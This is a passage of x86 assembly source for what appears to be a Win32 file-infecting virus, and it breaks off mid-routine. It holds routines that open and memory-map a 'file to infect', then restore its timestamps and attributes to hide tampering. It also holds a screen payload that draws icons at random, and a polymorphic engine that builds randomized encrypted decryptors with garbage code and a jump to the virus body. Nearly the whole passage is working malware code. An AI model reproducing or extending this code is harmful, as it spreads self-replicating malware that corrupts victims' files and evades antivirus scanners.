|
|
pop esi
|
|||
|
|
pop ecx
|
|||
|
|
|
|||
|
|
;Check if entry point is valid
|
|||
|
|
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_get_func
|
|||
|
|
|
|||
|
|
;Save function entry point
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
;Next function
|
|||
|
|
|
|||
|
|
loop get_each_ep
|
|||
|
|
|
|||
|
|
exit_get_func: ;Return, eax contains last function entry point or NULL
|
|||
|
|
;if error
|
|||
|
|
|
|||
|
|
mov ecx,eax
|
|||
|
|
pop ebx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Open file and create it memory mapped image
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
open_map_file: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;my_FindData - FindData about file
|
|||
|
|
;szWorkDir - Buffer for path + name of file to infect
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;eax - Base address of memory map for file
|
|||
|
|
; 00000000h if error
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Reset attributes so we can get read/write access
|
|||
|
|
;to target file
|
|||
|
|
|
|||
|
|
push FILE_ATTRIBUTE_NORMAL
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_SetFileAttr]
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_open_map
|
|||
|
|
|
|||
|
|
;Open existing file
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
push FILE_ATTRIBUTE_NORMAL
|
|||
|
|
push OPEN_EXISTING
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push GENERIC_READ or GENERIC_WRITE
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
lea eax,dword ptr [ebp+a_CreateFile]
|
|||
|
|
call dword ptr [ebp+a_CreateFile]
|
|||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
|
je exit_open_map
|
|||
|
|
|
|||
|
|
;Create filemapping over file
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+CreateFile_h],eax
|
|||
|
|
xor eax,eax
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
push eax
|
|||
|
|
push PAGE_READWRITE
|
|||
|
|
push eax
|
|||
|
|
push [ebp+CreateFile_h]
|
|||
|
|
call dword ptr [ebp+a_CreateFileMap]
|
|||
|
|
or eax,eax
|
|||
|
|
jz Close_Create
|
|||
|
|
|
|||
|
|
;Map file in memory, get base address
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+Mapping_h],eax
|
|||
|
|
xor eax,eax
|
|||
|
|
push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push FILE_MAP_WRITE
|
|||
|
|
push [ebp+Mapping_h]
|
|||
|
|
call dword ptr [ebp+a_MapViewOfFile]
|
|||
|
|
or eax,eax
|
|||
|
|
jz Close_Mapping
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Unmap memory mapped its associated file and close file handle
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
unmap_close: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;eax - File base address in memory
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_UnmapView]
|
|||
|
|
|
|||
|
|
Close_Mapping: ;Close handle created by CreateFileMappingA
|
|||
|
|
|
|||
|
|
push dword ptr [ebp+Mapping_h]
|
|||
|
|
call dword ptr [ebp+a_CloseHandle]
|
|||
|
|
|
|||
|
|
Close_Create: ;Restore file time
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime]
|
|||
|
|
mov edx,00000008h
|
|||
|
|
push eax
|
|||
|
|
sub eax,edx
|
|||
|
|
push eax
|
|||
|
|
sub eax,edx
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [ebp+CreateFile_h]
|
|||
|
|
call dword ptr [ebp+a_SetFileTime]
|
|||
|
|
|
|||
|
|
;Close handle created by CreateFileA
|
|||
|
|
|
|||
|
|
push dword ptr [ebp+CreateFile_h]
|
|||
|
|
call dword ptr [ebp+a_CloseHandle]
|
|||
|
|
|
|||
|
|
;Restore file attributes
|
|||
|
|
|
|||
|
|
push dword ptr [ebp+my_FindData.WFD_dwFileAttributes]
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_SetFileAttr]
|
|||
|
|
|
|||
|
|
exit_open_map: xor eax,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Activation routine
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
payload: ;Use LoadLibrary to get a valid handle over USER32.dll
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+szUSER32]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_LoadLibrary]
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
mov dword ptr [ebp+a_User32],eax
|
|||
|
|
|
|||
|
|
;Get entry-point for LoadIcon
|
|||
|
|
|
|||
|
|
lea edx,dword ptr [ebp+szLoadIcon]
|
|||
|
|
push edx
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_GetProcAddr]
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
|
|||
|
|
;Load custom icon
|
|||
|
|
|
|||
|
|
push 32513
|
|||
|
|
xor edx,edx
|
|||
|
|
push edx
|
|||
|
|
call eax
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
mov dword ptr [ebp+h_icon],eax
|
|||
|
|
|
|||
|
|
;Get entry-point for GetDC
|
|||
|
|
|
|||
|
|
lea edx,dword ptr [ebp+szGetDC]
|
|||
|
|
push edx
|
|||
|
|
push dword ptr [ebp+a_User32]
|
|||
|
|
call dword ptr [ebp+a_GetProcAddr]
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
|
|||
|
|
;Get device context for the screen
|
|||
|
|
|
|||
|
|
xor edx,edx
|
|||
|
|
push edx
|
|||
|
|
call eax
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
mov dword ptr [ebp+dc_screen],eax
|
|||
|
|
|
|||
|
|
;Get entry-point for DrawIcon
|
|||
|
|
|
|||
|
|
lea edx,dword ptr [ebp+szDrawIcon]
|
|||
|
|
push edx
|
|||
|
|
push dword ptr [ebp+a_User32]
|
|||
|
|
call dword ptr [ebp+a_GetProcAddr]
|
|||
|
|
or eax,eax
|
|||
|
|
jz exit_payload
|
|||
|
|
|
|||
|
|
mov ecx,00000100h
|
|||
|
|
|
|||
|
|
loop_payload: ;Draw some icons in random coordinates
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
push ecx
|
|||
|
|
mov edx,eax
|
|||
|
|
push dword ptr [ebp+h_icon]
|
|||
|
|
mov eax,00000800h
|
|||
|
|
call get_rnd_range
|
|||
|
|
push eax
|
|||
|
|
mov eax,00000400h
|
|||
|
|
call get_rnd_range
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [ebp+dc_screen]
|
|||
|
|
call edx
|
|||
|
|
pop ecx
|
|||
|
|
pop eax
|
|||
|
|
loop loop_payload
|
|||
|
|
|
|||
|
|
;Print
|
|||
|
|
|
|||
|
|
exit_payload: ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate polymorphic encryption
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
mutate: ;Initialize reg flags and random number generator
|
|||
|
|
|
|||
|
|
call init_poly
|
|||
|
|
|
|||
|
|
;Select index reg
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|||
|
|
mov byte ptr [ebp+index_mask],al
|
|||
|
|
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
|
|||
|
|
|
|||
|
|
;Select counter reg
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|||
|
|
mov byte ptr [ebp+counter_mask],al
|
|||
|
|
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER
|
|||
|
|
|
|||
|
|
;Get and save random displacement
|
|||
|
|
;Do not use any displacement if this field value is null
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
and eax,00000001h
|
|||
|
|
jz ok_disp
|
|||
|
|
call get_rnd32
|
|||
|
|
ok_disp: mov dword ptr [ebp+ptr_disp],eax
|
|||
|
|
|
|||
|
|
;Now get a random key
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
mov dword ptr [ebp+crypt_key],eax
|
|||
|
|
|
|||
|
|
;Now get some flags
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
mov byte ptr [ebp+build_flags],al
|
|||
|
|
|
|||
|
|
;Get size for INC/DEC procedures
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
and al,03h
|
|||
|
|
cmp al,01h
|
|||
|
|
je get_size_ok
|
|||
|
|
cmp al,02h
|
|||
|
|
je get_size_ok
|
|||
|
|
inc al
|
|||
|
|
get_size_ok: mov byte ptr [ebp+oper_size],al
|
|||
|
|
|
|||
|
|
;Where to put decryptor code
|
|||
|
|
|
|||
|
|
lea edi,dword ptr [ebp+poly_decryptor+mem_size]
|
|||
|
|
|
|||
|
|
;Lets begin inserting some shit
|
|||
|
|
|
|||
|
|
call gen_garbage
|
|||
|
|
|
|||
|
|
;Choose a random decryptor style
|
|||
|
|
;Each style uses the same build procedures, but
|
|||
|
|
;in diferent order
|
|||
|
|
|
|||
|
|
mov eax,(end_styles-tbl_styles)/04h
|
|||
|
|
call get_rnd_range
|
|||
|
|
lea esi,dword ptr [ebp+tbl_styles+eax*04h]
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
mov esi,eax
|
|||
|
|
|
|||
|
|
;Generator for decryptor styles
|
|||
|
|
|
|||
|
|
;Build initialization code
|
|||
|
|
|
|||
|
|
mov ecx,00000003h
|
|||
|
|
call gen_style_code
|
|||
|
|
|
|||
|
|
;Set the loop point in the middle of nowhere
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
call gen_garbage
|
|||
|
|
mov dword ptr [ebp+loop_point],edi
|
|||
|
|
call gen_garbage
|
|||
|
|
pop esi
|
|||
|
|
|
|||
|
|
;Build loop code
|
|||
|
|
|
|||
|
|
mov ecx,00000004
|
|||
|
|
call gen_style_code
|
|||
|
|
|
|||
|
|
;Insert a jump to virus code
|
|||
|
|
|
|||
|
|
mov al,0E9h
|
|||
|
|
stosb
|
|||
|
|
lea eax,dword ptr [ebp+Mem_Base+mem_size]
|
|||
|
|
sub eax,edi
|
|||
|
|
sub eax,00000004h
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
;Some garbage
|
|||
|
|
|
|||
|
|
call gen_rnd_block
|
|||
|
|
|
|||
|
|
;Now do encryption
|
|||
|
|
|
|||
|
|
lea edi,dword ptr [ebp+Mem_Base+mem_size]
|
|||
|
|
call fixed_size2ecx
|
|||
|
|
loop_hide_code: push ecx
|
|||
|
|
mov eax,dword ptr [edi]
|
|||
|
|
call perform_crypt
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,byte ptr [ebp+oper_size]
|
|||
|
|
loop_copy_res: stosb
|
|||
|
|
shr eax,08h
|
|||
|
|
loop loop_copy_res
|
|||
|
|
pop ecx
|
|||
|
|
loop loop_hide_code
|
|||
|
|
|
|||
|
|
;Exit polymorphic engine
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generator for decryptor styles
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_style_code: lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
push ecx
|
|||
|
|
push esi
|
|||
|
|
call eax
|
|||
|
|
call gen_garbage
|
|||
|
|
pop esi
|
|||
|
|
pop ecx
|
|||
|
|
loop gen_style_code
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Perform encryption
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
perform_crypt: ;Place for encryption code
|
|||
|
|
|
|||
|
|
db 10h dup (00h)
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Get delta offset
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_get_delta: ;This is the CALL opcode
|
|||
|
|
|
|||
|
|
mov al,0E8h
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
;Save the place for the calling address
|
|||
|
|
|
|||
|
|
stosd
|
|||
|
|
mov dword ptr [ebp+delta_call],edi
|
|||
|
|
push edi
|
|||
|
|
|
|||
|
|
;Generate some random data
|
|||
|
|
|
|||
|
|
call gen_rnd_block
|
|||
|
|
|
|||
|
|
;Get displacement from CALL instruction to destination
|
|||
|
|
;address
|
|||
|
|
|
|||
|
|
mov eax,edi
|
|||
|
|
pop esi
|
|||
|
|
sub eax,esi
|
|||
|
|
|
|||
|
|
;Put destination address after CALL opcode
|
|||
|
|
|
|||
|
|
mov dword ptr [esi-00000004h],eax
|
|||
|
|
|
|||
|
|
;Generate some garbage code into destination address
|
|||
|
|
|
|||
|
|
call gen_garbage
|
|||
|
|
|
|||
|
|
;Choose method
|
|||
|
|
|
|||
|
|
mov eax,(end_delta_mode-tbl_delta_mode)/04h
|
|||
|
|
call get_rnd_range
|
|||
|
|
mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h]
|
|||
|
|
add eax,ebp
|
|||
|
|
jmp eax
|
|||
|
|
|
|||
|
|
delta_method_1: ;Generate:
|
|||
|
|
;
|
|||
|
|
; call get_delta
|
|||
|
|
; ...
|
|||
|
|
; get_delta:
|
|||
|
|
; ...
|
|||
|
|
; pop index_reg
|
|||
|
|
; ...
|
|||
|
|
|
|||
|
|
call gen_pop_index
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
delta_method_2: ;Generate:
|
|||
|
|
;
|
|||
|
|
; call get_delta
|
|||
|
|
; ...
|
|||
|
|
; get_delta:
|
|||
|
|
; ...
|
|||
|
|
; pop reg_1
|
|||
|
|
; ...
|
|||
|
|
; mov reg_index,reg_1
|
|||
|
|
; ...
|
|||
|
|
|
|||
|
|
call gen_pop_reg_1
|
|||
|
|
mov ah,byte ptr [ebp+index_mask]
|
|||
|
|
shl ah,03h
|
|||
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|||
|
|
or ah,0C0h
|
|||
|
|
mov al,8Bh
|
|||
|
|
stosw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
delta_method_3: ;Generate:
|
|||
|
|
;
|
|||
|
|
